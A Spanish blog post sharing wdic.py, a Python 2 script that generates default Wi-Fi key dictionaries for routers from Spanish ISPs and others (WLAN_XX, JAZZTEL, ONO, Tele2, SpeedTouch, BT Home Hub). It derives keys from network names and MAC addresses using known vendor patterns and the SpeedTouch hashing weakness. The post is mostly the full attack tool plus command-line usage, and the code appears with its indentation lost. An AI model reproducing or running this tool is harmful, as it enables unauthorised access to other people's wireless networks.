Se puede descargar aquí [wdic.py], o coloreado al final.
Lo dicho, ya tiene su tiempo y le hace falta una reescritura a C (en cuanto encuentre tiempo), pero funciona.
Hay dos formas de usarlo, lanzándolo directamente se maneja con menús
./wdic.py
Toda la salida que no sean las contraseñas se hace por stderr, así que se puede redirigir tranquilamente y los menús seguirán saliendo:
./wdic.py > diccionario
O mandando todos los parámetros por la línea de comandos, así que funcionaría sin intervención del usuario, se pueden ver los parámetros con:
./wdic -?
Por ejemplo:
Hasta otra...
#!/usr/bin/env python
#
# Escrito por kenkeiras
# Bajo la licencia GPLv3
import string
import sys
#################################################################
# Esto elimina esos molestos ':' de la bssid
def clean_bssid(bssid):
new=[]
i=0
for element in bssid:
if element!=':':
new.append(element)
i=i+1
return new
#################################################################
# Esto comprueba que la mac/bssid tenga la longitud adecuada
def check_bssid(bssid,num):
if len(bssid)==num:
return True
else:
return False
#################################################################
# Pasa un string a hexadecimal
def ascii2hex(arr):
lst=[]
for element in arr:
elm=string.join(hex(ord(element)),"")
lst.append(elm[2:len(elm)])
return string.join(lst,"")
##################################################################
# Esto va haciendo pasar a un array de enteros por todos los valores
def permute_int(array,num):
new=array
while num>0:
if new[num]!=9:
new[num]+=1
break
else:
new[num]=int(0)
num-=1
return new
##################################################################
# Esto va haciendo pasar a un array de caracteres por todos los valores decimales
def permute_text_int(array,num):
new=array
while num>0:
if new[num]!='9':
new[num]=chr(ord(new[num])+1)
break
else:
new[num]='0'
num-=1
return new
##################################################################
# Esto va haciendo pasar a un array de caracteres en minuscula por todos los valores
def permute_lowcase(array,num):
new=array
while num>0:
if new[num]!='z':
new[num]=chr(ord(new[num])+1)
break
else:
new[num]='a'
num-=1
return new
##################################################################
# Esto va haciendo pasar a un array de caracteres por todos los valores hexadecimales
def permute_hex(array,num):
new=array
while num>0:
if new[num]!='F':
if new[num]=='9':
new[num]='A'
else:
new[num]=chr(ord(new[num])+1)
break
else:
new[num]='0'
num-=1
return new
##################################################################
# Esto va haciendo pasar a un array de caracteres por todos los caracteres y numeros
def permute_comp(array,num):
new=array
while num>0:
if new[num]!='Z':
if new[num]=='9':
new[num]='A'
else:
new[num]=chr(ord(new[num])+1)
break
else:
new[num]='0'
num-=1
return new
###################################################################
# Cambia todas las letras de un array de caracteres hexadecimales a mayuscula
def hex_upcase(array):
new=[]
for element in array:
if element<='9':
new.append(element)
else:
if element>='a':
if element=='a':
new.append('A')
elif element=='b':
new.append('B')
elif element=='c':
new.append('C')
elif element=='d':
new.append('D')
elif element=='e':
new.append('E')
elif element=='f':
new.append('F')
else:
new.append(element)
return new
##################################################################
# Muestra un array
def strshow(array):
print string.join(array,'')
##################################################################
#
# Aqui empieza lo interesante... ;)}
#
##################################################################
# WLAN
# Para las redes WLAN_XX y JAZZTEL_XX
# Esto va preparando las contrasenhas y las va pasando al strshow para que las muestre
def show_wlan(p1,p2,end):
act=[]
fin=[]
passwd=range(13)
for char in p1:
act.append(char)
fin.append(char)
i=0
while (i<4):
act.append('0')
fin.append('F')
i+=1
for char in p2:
act.append(char)
for char in end:
fin.append(char)
if (p2=="00"):
offset=12
else:
offset=10
while (act!=fin):
i=0
for char in act:
passwd[i]=str(char)
i+=1
strshow(passwd)
if act[11:13]==fin[11:13]:
act=permute_hex(act,offset)
else:
act=permute_hex(act,offset)
strshow(fin)
##################################################################
# Esto recibe la mac, busca el modelo del router y manda el principio de la contrasenha y el final (que viene de la funcion que wlan) a show_wlan
# Nota: se espera que el primer par de la bssid sea 00, asi que ya no se comprueba
def get_wlan_bssid(mac,chars,end):
# Z-Com
#
if (mac[2]=='6' and mac[3]=='0' and mac[4]=='B' and mac[5]=='3'):
show_wlan('Z001349',chars,end)
# Xavy
#
elif (mac[2]=='0' and mac[3]=='1' and mac[4]=='3' and mac[5]=='8'):
show_wlan('X000138',chars,end)
# Comtrend
#
elif (mac[2]=='0' and mac[3]=='3' and mac[4]=='C' and mac[5]=='9'):
show_wlan('C0030DA',chars,end)
# Zyxel
# ->(thefkboss)
elif (mac[2]=='A' and mac[3]=='0' and mac[4]=='C' and mac[5]=='5'):
show_wlan('Z001349',chars,end)
# Comtrend (otro mas)
# ->(dnreinad)
elif (mac[2]=='1' and mac[3]=='6' and mac[4]=='3' and mac[5]=='8'):
show_wlan('C0030DA',chars,end)
# P-660-HW-D1
# ->(Tertulia de foro.elhacker.net)
elif (mac[2]=='1' and mac[3]=='3' and mac[4]=='4' and mac[5]=='9'):
show_wlan('Z001349',chars,end)
show_wlan('Z0002CF',chars,end)
# ZyGate
#
elif (mac[2]=='0' and mac[3]=='2' and mac[4]=='C' and mac[5]=='F'):
show_wlan('Z0002CF',chars,end)
show_wlan('Z0023F8',chars,end)
# Jazztel
elif (mac[2]=='1' and mac[3]=='A' and mac[4]=='2' and mac[5]=='B'):
show_wlan('E001D20',chars,end)
# Y Comtrend 2007-2008
# ->(dudux* y dnreinad)
show_wlan('C0030DA',chars,end)
show_wlan('C001D20',chars,end)
# ZyGate
# ->(pianista y Sycho)
elif (mac[2]=='1' and mac[3]=='9' and mac[4]=='C' and mac[5]=='B'):
show_wlan('Z0002CF',chars,end)
show_wlan('Z0019CB',chars,end)
# Comtrend
# ->(hrodgar)
elif (mac[2]=='1' and mac[3]=='9' and mac[4]=='1' and mac[5]=='5'):
show_wlan('C0030DA',chars,end)
# Comtrend 2008
# ->(Mugen de el foro.elhacker.net)
elif (mac[2]=='3' and mac[3]=='0' and mac[4]=='D' and mac[5]=='A'):
show_wlan('C0030DA',chars,end)
# Comtrend 2008
#
elif (mac[2]=='1' and mac[3]=='D' and mac[4]=='2' and mac[5]=='0'):
show_wlan('C001D20',chars,end)
# Zyxel P660HW-D1 2009
# ->(Zim_Zum y buckynet de seguridadwireless.net)
elif (mac[2]=='2' and mac[3]=='3' and mac[4]=='F' and mac[5]=='8'):
show_wlan('C0023F8',chars,end)
# Xavy 2009
# ->(zim_zum y *dudux)
elif (mac[2]=='0' and mac[3]=='1' and mac[4]=='3' and mac[5]=='6'):
show_wlan('X000138',chars,end)
else:
print >> sys.stderr, "Error, MAC comenzada por 00:"+str(mac[2])+str(mac[3])+":"+str(mac[4])+str(mac[5])+" no encontrada!!"
##################################################################
# Esto limpia la mac y coje lo interesante de la essid y lo manda todo a get_wlan_bssid
def wlan(essid,bssid):
mac=range(12)
variable_chars=[]
end=[]
if (essid[len(essid)-1])=='?':
end.append('F')
end.append('F')
variable_chars.append('0')
variable_chars.append('0')
else:
variable_chars.append(essid[len(essid)-2])
variable_chars.append(essid[len(essid)-1])
end=variable_chars
mac=clean_bssid(bssid)
mac=hex_upcase(mac)
variable_chars=string.join(variable_chars,'')
end=string.join(end,'')
if check_bssid(mac,12)==False:
print >> sys.stderr, "La mac tiene que llevar 6 parejas de 2 caracteres (12 en total)"
else:
get_wlan_bssid(mac,variable_chars,end)
###################################################################
# Este es el menu de las funciones de WLAN
def menu_wlan():
print >> sys.stderr,"Introduce la MAC del router:",
mac=raw_input('')
print >> sys.stderr,"Introduce el nombre de la red (?? si no se conoce):",
essid=raw_input('')
wlan(essid,mac)
###################################################################
# r-wlan
# Para las redes r-wlan
# Este se encarga de todo el proceso de r-wlan (prepara las strings inicial y final y va mandandolas todas a strshow)
def r_wlan(opc,init=0,end=0):
passwd=range(12)
if opc=='a':
act=[int(init[0]),int(init[1]),int(init[2]),int(init[3]),0,0,0,0]
fin=[int(end[0]),int(end[1]),int(end[2]),int(end[3]),9,9,9,9]
else:
act=[0,0,0,0,0,0,0,0]
fin=[9,9,9,9,9,9,9,9]
passwd[8:12]='00000'
while (act!=fin):
i=0
for caja in act:
passwd[i]=str(caja)
i+=1
strshow(passwd)
act=permute_int(act,7)
#Y una ultima vez para la ultima string
i=0
for caja in act:
passwd[i]=str(caja)
i+=1
strshow(passwd)
###############################################################
# Muestra las opciones para las redes r-wlan
def menu_r_wlan():
opc=''
init=''
end=''
while (opc!='g' and opc!='a'):
print >> sys.stderr,"Que tipo de diccionario prefieres, general(g) o por anhos(a)?",
opc=raw_input('')
if opc=='a':
print >> sys.stderr,"Introduce anho incicial (4 digitos):",
init=raw_input('')
print >> sys.stderr,"Introduce anho final (4 digitos):",
end=raw_input('')
r_wlan(opc,init,end)
###################################################################
# ADSL
# Para las redes ADSLXXXX
# Esto se encarga de todo el proceso, comprueba que existe la libreria de hash, la importa y le va pasando los valores
def adsl_wlan(essid):
haymd5=True
essid_vars=range(4)
try:
import hashlib
except:
print >> sys.stderr, "No se ha encontrado el modulo de funciones hash."
haymd5=False
if haymd5:
i=4
j=0
act=range(8)
while i>0:
essid_vars[j]=essid[len(essid)-i]
j+=1
i-=1
i=0
while i<4:
act[i]='a'
i+=1
while i<8:
act[i]=essid_vars[i-4]
i+=1
fin=False
while not fin:
act=permute_lowcase(act,3)
print hashlib.md5(str(act)).hexdigest()
i=0
j=0
while i<4:
if act[i]=='z':
j+=1
i+=1
if j==4:
fin=True
################################################################
# Esto es el menu para las ADSL
def menu_adsl_wlan():
print >> sys.stderr,"Introduce el nombre de la red:",
essid=raw_input('')
adsl_wlan(essid)
################################################################
# DLink
# Para las redes DLINK-WIRELESS
# Devuelve las dos posibles contrasenhas predefinidas a partir de la bssid
def dlink_wlan(bssid,auto):
# Ojo, que la master Key real es la misma pero con todos los valores +1
# pero esto esta asi para que funcione bien con los arrays de python
master_key=[5,0,4,1,2,3,5,4,1,2,3,0,2]
mac=clean_bssid(bssid)
mac=hex_upcase(mac)
if check_bssid(mac,12)==False:
print >> sys.stderr, "La mac tiene que llevar 6 parejas de 2 caracteres (12 en total)"
else:
ppas=[mac[0:2],mac[2:4],mac[4:6],mac[6:8],mac[8:10],mac[10:12]]
if auto==False:
print >> sys.stderr, "Prueba con esta:\n",
for num in master_key:
print str(ppas[num][0])+str(ppas[num][1]),
print ''
if ppas[2][1]!='0' or ppas[2][0]!='0':
if auto==False:
print >> sys.stderr, "Y con esta:",
print ""
i=0
j=0
for num in master_key:
if i==12:
j=-1
else:
j=0
if not (j==-1 and (ppas[num][1]=='A' or ppas[num][1]=='0')):
print str(ppas[num][0])+str(chr(ord(ppas[num][1])+j)),
elif ppas[num][1]=='A':
print str(ppas[num][0])+"9",
else:
print str(chr(ord(ppas[num][0])+j))+"F",
i+=1
############################################################
# Menu para las D-link
def menu_dlink_wlan():
print >> sys.stderr,"Introduce la MAC del router:",
mac=raw_input('')
dlink_wlan(mac,False)
############################################################
# ONO
# Para las redes PXXXXXXXXXXXXX
# Devuelve la contrasenha por defecto de estas redes. (No comprueba si el essid es correcto, lo unico que hace es eliminar la P y restarle 1 a lo que queda)
def ono_wlan(essid,auto):
i=0
nov=[]
for algo in essid:
if algo!='P' and algo!='p':
ult=int(algo)
nov.append(algo)
if ult!=0:
ult-=1
nov[len(nov)-1]=str(ult)
if auto==False:
print >> sys.stderr, "Prueba con esta: ",
for byte in nov:
print byte,
#################################################################
# Menu para las redes de ONO
def menu_ono_wlan():
print >> sys.stderr,"Introduce el Nombre de la red:",
essid=raw_input('')
ono_wlan(essid,False)
#################################################################
# Tele2
# Para las redes de Tele2
# Va preparando las contrasenhas predeterminadas posibles y mandandolas a strshow
def tele2_wlan(opc):
act=range(9)
fin=range(9)
i=1
while (i<9):
act[i]='0'
i+=1
i=1
while (i<9):
fin[i]='9'
i+=1
if opc=='7':
act[0]=opc
fin[0]=opc
elif opc=='8':
act[0:2]='PV'
fin[0:2]='PV'
else:
act[0]='0'
fin[0]='9'
passwd=range(13)
passwd[0:4]="IX1V"
while (act!=fin):
i=4
for char in act:
passwd[i]=str(char)
i+=1
strshow(passwd)
act=permute_text_int(act,8)
#################################################################
# Menu para las Tele2
def menu_tele2_wlan():
opc=''
while (opc!='g' and opc!='7' and opc!='8'):
print >> sys.stderr,"Que tipo de diccionario prefieres, general(g), el de 2007(7), el de 2008(8)?",
opc=raw_input('')
tele2_wlan(opc)
#################################################################
# SpeedTouch
# Para redes SpeedTouch
# ->Algoritmo descubierto por Kevin Devine
# Funcion general
def speed_touch_wlan(ssid,num,inicio,fin):
lib=True
try:
import hashlib
except:
lib=False
print >> sys.stderr, "No se encontro la libreria de hashes"
if lib:
endyear=[]
passwd=range(9)
endyear.append(fin[0])
endyear.append(fin[1])
essid=ssid[len(ssid)-num:len(ssid)]
essid=essid.lower()
true_endyear=permute_text_int(endyear,1)
passwd[0:2]="CP"
passwd[2:4]=string.join(inicio,"") # Anho de inicio
while passwd[2:4]!=true_endyear:
passwd[4:6]="00"
while string.join(passwd[4:6],"")!="53":
passwd[6:9]="000"
while string.join(passwd[6:9],"")!="ZZZ":
check_speedTouch(passwd,essid,num)
permute_comp(passwd,8)
check_speedTouch(passwd,essid,num)
permute_text_int(passwd,5)
check_speedTouch(passwd,essid,num)
permute_text_int(passwd,3)
#################################################################
# Funcion de comprobacion de las redes SpeedTouch
def check_speedTouch(pas,essid,num):
import hashlib
correct=True
hexpas=range(12)
hexpas[0:6]=pas[0:6]
hexpas[6:12]=ascii2hex(pas[6:9])
out=hashlib.sha1(string.join(hexpas,"")).hexdigest()
chk=string.join(out[len(out)-num:len(out)],"")
if essid==chk:
if num==6:
print str(out[0:10].upper())
else:
print str(out[0:10].lower())
#################################################################
# Menu para las redes SpeedTouch
def menu_speed_touch_wlan():
print >> sys.stderr,"Introduce el nombre de la red:",
essid=raw_input("")
print >> sys.stderr,"Introduce el anho por el que se comenzara la busqueda (por ejemplo 05):",
inicio=raw_input("")
print >> sys.stderr,"Introduce el ultimo anho de la busqueda (por ejemplo 09):",
fin=raw_input("")
speed_touch_wlan(essid,6,inicio,fin)
#################################################################
# Menu para las redes BTHomeHub
# El resto del codigo se usa el de SpeedTouch
def menu_bthh_wlan():
print >> sys.stderr,"Introduce el nombre de la red:",
essid=raw_input("")
print >> sys.stderr,"Introduce el anho por el que se comenzara la busqueda (por ejemplo 05):",
inicio=raw_input("")
print >> sys.stderr,"Introduce el ultimo anho de la busqueda (por ejemplo 09):",
fin=raw_input("")
speed_touch_wlan(essid,4,inicio,fin)
#################################################################
# Mensaje de error (para cualquier error en los parametros)
def error_param():
print >> sys.stderr, "Error, parametros no validos."
print >> sys.stderr, "Ejecuta el script con -? para mostrar las opciones."
#################################################################
# Mensaje de... ayuda?
def wdic_ayuda():
print >> sys.stderr, " Wlan Dictionary Maker"
print >> sys.stderr, " Opciones:\n"
print >> sys.stderr, " Sin argumentos: Ejecuta el script a traves de los menus.\n"
print >> sys.stderr, " =>Para redes WLAN o JAZZTEL: wdic.py wlan essid bssid"
print >> sys.stderr, " essid: Nombre de la red Wifi (?? si no se conoce)."
print >> sys.stderr, " bssid: Bssid de el punto de acceso.\n"
print >> sys.stderr, " =>Para redes R: wdic.py r -opc [anho_inicial] [anho_final]"
print >> sys.stderr, " Opc: -g para diccionario general, -a para diccionario por anhos."
print >> sys.stderr, " Anho final e inicial con 4 digitos.\n"
print >> sys.stderr, " =>Para redes ADSL: wdic.py adsl essid"
print >> sys.stderr, " essid: Nombre de la red Wifi."
print >> sys.stderr, " ->Salida en hexadecimal.\n"
print >> sys.stderr, " =>Para redes DLINK-WIRELESS: wdic.py dlink bssid"
print >> sys.stderr, " bssid: Bssid de el punto de acceso."
print >> sys.stderr, " ->Salida en hexadecimal.\n"
print >> sys.stderr, " =>Para redes ONO (PXXXXXXXXXXXX): wdic.py ono essid"
print >> sys.stderr, " essid: Nombre de la red Wifi.\n"
print >> sys.stderr, " =>Para redes Tele2: wdic.py tele2 opc "
print >> sys.stderr, " Opc: g para diccionario general, 7 para diccionario de 2007 y 8 para el de 2008.\n"
print >> sys.stderr, " Anho final e inicial con 2 digitos.\n"
print >> sys.stderr, " =>Para redes SpeedTouch: wdic.py speedtouch essid anho_inicial anho_final"
print >> sys.stderr, " essid: Nombre de la red Wifi.\n"
print >> sys.stderr, " =>Para redes BT Home Hub: wdic.py bthh essid anho_inicial anho_final"
print >> sys.stderr, " essid: Nombre de la red Wifi.\n"
print >> sys.stderr, " ->Nota: Cuando pide el nombre de la red solo coje la parte que cambia, asi que por ejemplo en WLAN_AB se podria poner simplemente AB\n"
#################################################################
# Menu general del script
def menu():
print >> sys.stderr, "Bienvenid@ a Wlan Dictionary Maker.\n"
fin=False
while (fin==False):
print >> sys.stderr, "\tSelecciona un tipo de Wifi.\n"
print >> sys.stderr, "\tWEP\n"
print >> sys.stderr, "\t a) WLAN_XX"
print >> sys.stderr, "\t b) JAZZTEL_XX"
print >> sys.stderr, "\t c) R-WLANXX"
print >> sys.stderr, "\t d) ADSLXXXX"
print >> sys.stderr, "\t e) DLINK-WIRELESS"
print >> sys.stderr, "\t f) PXXXXXXXXX\t(ONO)\n"
print >> sys.stderr, "\tWPA\n"
print >> sys.stderr, "\t g) Tele2"
print >> sys.stderr, "\t h) SpeedTouch"
print >> sys.stderr, "\t i) BTHomeHub"
print >> sys.stderr, "\t x) Salir"
print >> sys.stderr, '\n->',
opc=raw_input('')
if (opc=='a'):
menu_wlan()
elif (opc=='b'):
menu_wlan()
elif (opc=='c'):
menu_r_wlan()
elif (opc=='d'):
menu_adsl_wlan()
elif (opc=='e'):
menu_dlink_wlan()
elif (opc=='f'):
menu_ono_wlan()
elif (opc=='g'):
menu_tele2_wlan()
elif (opc=='h'):
menu_speed_touch_wlan()
elif (opc=='i'):
menu_bthh_wlan()
elif (opc=='x'):
fin=True
else:
print >> sys.stderr, "\n+-----------------------+"
print >> sys.stderr, "| Opcion no encontrada. |"
print >> sys.stderr, "+-----------------------+\n"
print >> sys.stderr, " -> Pulsa enter para continuar.\n"
if not fin:
raw_input()
# Listo, de aqui hasta abajo solo se encarga de comprobar que argumentos se mandaron y lanzar las funciones
try:
argc=len(sys.argv)
except:
argc=1
# Sin parametros (menu):
if argc==1:
menu()
# Ayuda:
elif argc==2 and sys.argv[1]=="-?":
wdic_ayuda()
###### WEP ######
# Wlan y Jazztel:
elif sys.argv[1]=='wlan':
if argc==4:
wlan(sys.argv[2],sys.argv[3])
else:
error_param()
# R:
elif sys.argv[1]=='r':
if argc>2:
if sys.argv[2]=='-a':
r_wlan('a',sys.argv[3],sys.argv[4])
elif sys.argv[2]=='-g':
r_wlan('g')
else:
error_param()
else:
error_param()
# ADSL:
elif sys.argv[1]=='adsl':
if argc==3:
adsl_wlan(sys.argv[2])
else:
error_param()
# D-Link
elif sys.argv[1]=='dlink':
if argc==3:
dlink_wlan(sys.argv[2],True)
else:
error_param()
# ONO
elif sys.argv[1]=='ono':
if argc==3:
ono_wlan(sys.argv[2],True)
else:
error_param()
###### WPA ######
# Tele2:
elif sys.argv[1]=='tele2':
if argc==3:
tele2_wlan(sys.argv[2])
else:
error_param()
# SpeedTouch:
elif sys.argv[1]=='speedtouch':
if argc==5:
speed_touch_wlan(sys.argv[2],6,sys.argv[3],sys.argv[4])
else:
error_param()
# SpeedTouch:
elif sys.argv[1]=='speedtouch':
if argc==5:
speed_touch_wlan(sys.argv[2],6,sys.argv[3],sys.argv[4])
else:
error_param()
# BT Home Hub:
elif sys.argv[1]=='bthh':
if argc==5:
speed_touch_wlan(sys.argv[2],4,sys.argv[3],sys.argv[4])
else:
error_param()
# Sino...
else:
error_param()
No hay comentarios:
Publicar un comentario